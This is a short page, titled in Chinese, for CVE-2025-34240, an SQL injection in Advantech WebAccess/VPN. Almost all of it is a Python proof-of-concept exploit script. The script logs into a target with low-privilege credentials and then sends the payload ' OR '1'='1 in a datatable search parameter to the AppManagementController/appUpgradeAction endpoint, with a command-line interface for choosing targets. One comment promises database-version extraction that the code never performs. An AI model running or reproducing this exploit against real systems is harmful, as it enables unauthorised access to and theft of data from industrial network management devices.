CVE-2025-34240: Advantech WebAccess/VPN SQL注入漏洞

import requests import argparse # CVE-2025-34240 PoC - Advantech WebAccess/VPN SQL Injection # Target: AppManagementController.appUpgradeAction() via datatable search parameters def exploit_sqli(target_url, username, password): """ Exploit SQL injection in Advantech WebAccess/VPN Requires authenticated low-privilege observer user """ session = requests.Session() # Login endpoint login_url = f"{target_url}/login" login_data = { 'username': username, 'password': password } # Perform login login_response = session.post(login_url, data=login_data) if login_response.status_code != 200: print(f"[-] Login failed") return None print(f"[+] Login successful") # SQL Injection via datatable search parameter sqli_url = f"{target_url}/AppManagementController/appUpgradeAction" # Blind SQL injection payload - extract database version # Modify the search parameter to inject SQL sqli_payload = "' OR '1'='1" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } # Datatable parameters with SQL injection params = { 'search[value]': sqli_payload, 'start': '0', 'length': '10', 'draw': '1' } print(f"[*] Sending SQL injection payload...") response = session.get(sqli_url, params=params, headers=headers) if response.status_code == 200: print(f"[+] Request sent, check response for data extraction") print(f"[*] Response length: {len(response.text)}") return response.text else: print(f"[-] Request failed with status: {response.status_code}") return None if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-34240 PoC') parser.add_argument('-t', '--target', required=True, help='Target URL') parser.add_argument('-u', '--username', required=True, help='Username') parser.add_argument('-p', '--password', required=True, help='Password') args = parser.parse_args() exploit_sqli(args.target, args.username, args.password)